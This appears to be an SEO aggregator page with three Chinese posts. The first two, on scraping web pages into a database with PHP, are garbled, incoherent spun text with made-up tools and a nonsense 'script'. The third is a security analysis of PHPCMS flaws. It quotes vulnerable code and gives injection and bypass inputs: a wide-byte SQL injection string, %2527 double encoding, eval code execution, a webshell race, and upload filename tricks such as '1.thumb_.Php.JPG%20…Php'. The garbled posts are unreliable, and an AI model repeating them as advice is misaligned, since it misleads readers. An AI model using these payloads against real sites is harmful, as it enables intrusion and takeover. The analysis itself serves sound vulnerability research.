
php抓取網(wǎng)頁(yè)數據插入數據庫
php抓取網(wǎng)頁(yè)數據插入數據庫項目地址:建議在linux環(huán)境下進(jìn)行開(kāi)發(fā)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 105 次瀏覽 ? 2022-08-13 11:29
php抓取網(wǎng)頁(yè)數據插入數據庫項目地址:建議在linux環(huán)境下進(jìn)行開(kāi)發(fā),ide推薦phpstorm和webstorm,安裝phpstorm后可以免了安裝數據庫工具lnmp這一步。
這個(gè)php抓取網(wǎng)頁(yè)是小型的爬蟲(chóng),時(shí)長(cháng)又比較短,你都直接用phpscrapy封裝一個(gè)就可以,容易學(xué),最好買(mǎi)視頻教程,講得好容易跟上,自己寫(xiě)代碼這個(gè)太久遠了,學(xué)習的時(shí)候可以看看3本書(shū)1。headfirstheadfirstjavascript權威指南這是講javascript的2。headfirstjavascript這是講headfirst本身原理的3。
scrapyscrapystartproject:buildselector3。3spiderforwebdomsecurity。
別配置了,這個(gè)類(lèi)型直接從。
你放個(gè)jpg過(guò)來(lái)讓我看看嗎?不能手工刷點(diǎn)關(guān)鍵的信息嗎?
沒(méi)啥技術(shù)含量就拿log里的信息套著(zhù)寫(xiě)
謝邀:1.爬蟲(chóng)很多種,如果題主沒(méi)接觸過(guò)那最好先從套接字出發(fā)2.爬蟲(chóng)需要學(xué)習一點(diǎn)點(diǎn)前端知識,具體用戶(hù)畫(huà)像請參考javascript相關(guān)知識,然后帶有屬性標簽的信息就是數據了3.爬蟲(chóng)只需要在headers里放入目標的useragent就可以了,數據結構不變,變的是useragent。4.還有爬蟲(chóng)可以考慮先自己寫(xiě)幾個(gè)小的,整合成一個(gè)規模小的,到時(shí)候學(xué)習維護也比較容易。
用數據庫存點(diǎn)東西,寫(xiě)爬蟲(chóng)程序多麻煩5.可以自己裝個(gè)iis之類(lèi)的來(lái)跑起來(lái),看看效果,如果前端實(shí)在搞不定就再換個(gè)程序員。6.成熟的爬蟲(chóng)服務(wù)比如ecshop,可以提供定制的robots協(xié)議,如果題主用過(guò)相關(guān)的服務(wù),可以建議后臺管理頁(yè)面弄一個(gè)定制robots,這樣更直觀(guān)些。7.其實(shí)很多服務(wù)都很全,比如淘寶。8.最后,以后爬蟲(chóng)想做就做,別給這個(gè)圈子壓力太大,還有“百度都可以做但你不能做”這種觀(guān)念。
如果認準繼續做爬蟲(chóng),可以關(guān)注相關(guān)人員,多投遞簡(jiǎn)歷,如果想創(chuàng )業(yè),建議從php開(kāi)始,目前現在的情況php服務(wù)器什么的確實(shí)比較便宜,做起來(lái)容易。歡迎加入php爬蟲(chóng)qq群,群號:623118093。 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫項目地址:建議在linux環(huán)境下進(jìn)行開(kāi)發(fā)
php抓取網(wǎng)頁(yè)數據插入數據庫項目地址:建議在linux環(huán)境下進(jìn)行開(kāi)發(fā),ide推薦phpstorm和webstorm,安裝phpstorm后可以免了安裝數據庫工具lnmp這一步。
這個(gè)php抓取網(wǎng)頁(yè)是小型的爬蟲(chóng),時(shí)長(cháng)又比較短,你都直接用phpscrapy封裝一個(gè)就可以,容易學(xué),最好買(mǎi)視頻教程,講得好容易跟上,自己寫(xiě)代碼這個(gè)太久遠了,學(xué)習的時(shí)候可以看看3本書(shū)1。headfirstheadfirstjavascript權威指南這是講javascript的2。headfirstjavascript這是講headfirst本身原理的3。

scrapyscrapystartproject:buildselector3。3spiderforwebdomsecurity。
別配置了,這個(gè)類(lèi)型直接從。
你放個(gè)jpg過(guò)來(lái)讓我看看嗎?不能手工刷點(diǎn)關(guān)鍵的信息嗎?

沒(méi)啥技術(shù)含量就拿log里的信息套著(zhù)寫(xiě)
謝邀:1.爬蟲(chóng)很多種,如果題主沒(méi)接觸過(guò)那最好先從套接字出發(fā)2.爬蟲(chóng)需要學(xué)習一點(diǎn)點(diǎn)前端知識,具體用戶(hù)畫(huà)像請參考javascript相關(guān)知識,然后帶有屬性標簽的信息就是數據了3.爬蟲(chóng)只需要在headers里放入目標的useragent就可以了,數據結構不變,變的是useragent。4.還有爬蟲(chóng)可以考慮先自己寫(xiě)幾個(gè)小的,整合成一個(gè)規模小的,到時(shí)候學(xué)習維護也比較容易。
用數據庫存點(diǎn)東西,寫(xiě)爬蟲(chóng)程序多麻煩5.可以自己裝個(gè)iis之類(lèi)的來(lái)跑起來(lái),看看效果,如果前端實(shí)在搞不定就再換個(gè)程序員。6.成熟的爬蟲(chóng)服務(wù)比如ecshop,可以提供定制的robots協(xié)議,如果題主用過(guò)相關(guān)的服務(wù),可以建議后臺管理頁(yè)面弄一個(gè)定制robots,這樣更直觀(guān)些。7.其實(shí)很多服務(wù)都很全,比如淘寶。8.最后,以后爬蟲(chóng)想做就做,別給這個(gè)圈子壓力太大,還有“百度都可以做但你不能做”這種觀(guān)念。
如果認準繼續做爬蟲(chóng),可以關(guān)注相關(guān)人員,多投遞簡(jiǎn)歷,如果想創(chuàng )業(yè),建議從php開(kāi)始,目前現在的情況php服務(wù)器什么的確實(shí)比較便宜,做起來(lái)容易。歡迎加入php爬蟲(chóng)qq群,群號:623118093。
使用php抓取網(wǎng)頁(yè)數據插入數據庫的方法總結??!
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 84 次瀏覽 ? 2022-08-03 10:08
php抓取網(wǎng)頁(yè)數據插入數據庫是php開(kāi)發(fā)的一個(gè)常見(jiàn)模式。要在不動(dòng)動(dòng)手的情況下將非結構化的數據轉化為結構化的數據,這有著(zhù)一定的難度。但是因為php只需要寫(xiě)一行代碼,所以通過(guò)利用phpstorm這樣的工具就可以輕松完成php抓取網(wǎng)頁(yè)數據插入數據庫的方法。下面我就總結下使用phpstorm將文本進(jìn)行轉化的模板。
1.下載phpstorm插件,不然打開(kāi)網(wǎng)頁(yè)文件和從代碼頁(yè)面會(huì )有莫名問(wèn)題(這個(gè)我深有體會(huì ),比如我在打開(kāi)常用的一些名片中文信息網(wǎng)站時(shí),無(wú)法打開(kāi),我使用命令提示符netshwinsockreset之后sublimetext會(huì )將整個(gè)文件名都寫(xiě)入當前用戶(hù)目錄)。2.將網(wǎng)頁(yè)文件或者php文件直接拖拽到軟件內即可。
3.可以生成報告里的3d數據庫表。4.可以支持正則表達式和圖片文件,都是php寫(xiě)的。5.下次寫(xiě)blog的時(shí)候可以把上次沒(méi)有打開(kāi)的文件再次發(fā)出來(lái)。歡迎fans。
每當我都會(huì )被那個(gè)xx軟件給坑,在我當時(shí)打開(kāi)一個(gè)wordpress網(wǎng)站時(shí),請求頭加上那個(gè)xx,然后大到整個(gè)對數據庫的數據量大到目標域名服務(wù)器攔截不到,小到你這個(gè)content目錄下需要存儲多少東西都可以通過(guò)xx處理。我會(huì )告訴你我還試著(zhù)通過(guò)他們的自助工具下載了半天不停點(diǎn)擊那個(gè)按鈕的嗎?我已經(jīng)不是單純的用php獲取數據了,我是用php完成全部任務(wù)。
還有http_request_response的話(huà),請求的時(shí)候自帶有一個(gè)localcache緩存的地方可以存放,我這邊拿他舉例子,你告訴他用php下載個(gè)什么東西,他直接啟動(dòng)自己那個(gè)工具,大不了就是給你加上那個(gè)jscssjpg.至于傳統wordpress,他說(shuō)他可以自動(dòng)識別(yeah),但如果你真的真的要寫(xiě)代碼,大膽試著(zhù)看看下面我要介紹的吧,相比于你在php里面寫(xiě),不用多說(shuō),來(lái)我給你介紹一些抓取的技巧吧。
我的logicalimage就在我這里,你下載之后不說(shuō)download,直接copy??梢宰ト『芏嗑W(wǎng)站。使用curl庫來(lái)進(jìn)行包含cookie/session的數據抓?。ū热珙?lèi)似木馬軟件/廣告過(guò)濾器)mysqldatabase/jdbcstubclientforphp抓取整站。我使用header記錄你的頭部信息。
可以在很大程度上避免其他人抓取你的數據,比如給第三方賬號發(fā)消息封號。#@黃銅的網(wǎng)站抓取腳本代碼:installthewordpressphp-ftpspidersandjoindownloader@黃銅request.jsonfromftp.php_navigate('/');ifnotisaccessthenfail@黃銅fromdownload.json;i。 查看全部
使用php抓取網(wǎng)頁(yè)數據插入數據庫的方法總結??!
php抓取網(wǎng)頁(yè)數據插入數據庫是php開(kāi)發(fā)的一個(gè)常見(jiàn)模式。要在不動(dòng)動(dòng)手的情況下將非結構化的數據轉化為結構化的數據,這有著(zhù)一定的難度。但是因為php只需要寫(xiě)一行代碼,所以通過(guò)利用phpstorm這樣的工具就可以輕松完成php抓取網(wǎng)頁(yè)數據插入數據庫的方法。下面我就總結下使用phpstorm將文本進(jìn)行轉化的模板。
1.下載phpstorm插件,不然打開(kāi)網(wǎng)頁(yè)文件和從代碼頁(yè)面會(huì )有莫名問(wèn)題(這個(gè)我深有體會(huì ),比如我在打開(kāi)常用的一些名片中文信息網(wǎng)站時(shí),無(wú)法打開(kāi),我使用命令提示符netshwinsockreset之后sublimetext會(huì )將整個(gè)文件名都寫(xiě)入當前用戶(hù)目錄)。2.將網(wǎng)頁(yè)文件或者php文件直接拖拽到軟件內即可。

3.可以生成報告里的3d數據庫表。4.可以支持正則表達式和圖片文件,都是php寫(xiě)的。5.下次寫(xiě)blog的時(shí)候可以把上次沒(méi)有打開(kāi)的文件再次發(fā)出來(lái)。歡迎fans。
每當我都會(huì )被那個(gè)xx軟件給坑,在我當時(shí)打開(kāi)一個(gè)wordpress網(wǎng)站時(shí),請求頭加上那個(gè)xx,然后大到整個(gè)對數據庫的數據量大到目標域名服務(wù)器攔截不到,小到你這個(gè)content目錄下需要存儲多少東西都可以通過(guò)xx處理。我會(huì )告訴你我還試著(zhù)通過(guò)他們的自助工具下載了半天不停點(diǎn)擊那個(gè)按鈕的嗎?我已經(jīng)不是單純的用php獲取數據了,我是用php完成全部任務(wù)。

還有http_request_response的話(huà),請求的時(shí)候自帶有一個(gè)localcache緩存的地方可以存放,我這邊拿他舉例子,你告訴他用php下載個(gè)什么東西,他直接啟動(dòng)自己那個(gè)工具,大不了就是給你加上那個(gè)jscssjpg.至于傳統wordpress,他說(shuō)他可以自動(dòng)識別(yeah),但如果你真的真的要寫(xiě)代碼,大膽試著(zhù)看看下面我要介紹的吧,相比于你在php里面寫(xiě),不用多說(shuō),來(lái)我給你介紹一些抓取的技巧吧。
我的logicalimage就在我這里,你下載之后不說(shuō)download,直接copy??梢宰ト『芏嗑W(wǎng)站。使用curl庫來(lái)進(jìn)行包含cookie/session的數據抓?。ū热珙?lèi)似木馬軟件/廣告過(guò)濾器)mysqldatabase/jdbcstubclientforphp抓取整站。我使用header記錄你的頭部信息。
可以在很大程度上避免其他人抓取你的數據,比如給第三方賬號發(fā)消息封號。#@黃銅的網(wǎng)站抓取腳本代碼:installthewordpressphp-ftpspidersandjoindownloader@黃銅request.jsonfromftp.php_navigate('/');ifnotisaccessthenfail@黃銅fromdownload.json;i。
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 133 次瀏覽 ? 2022-07-15 09:14
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS 查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
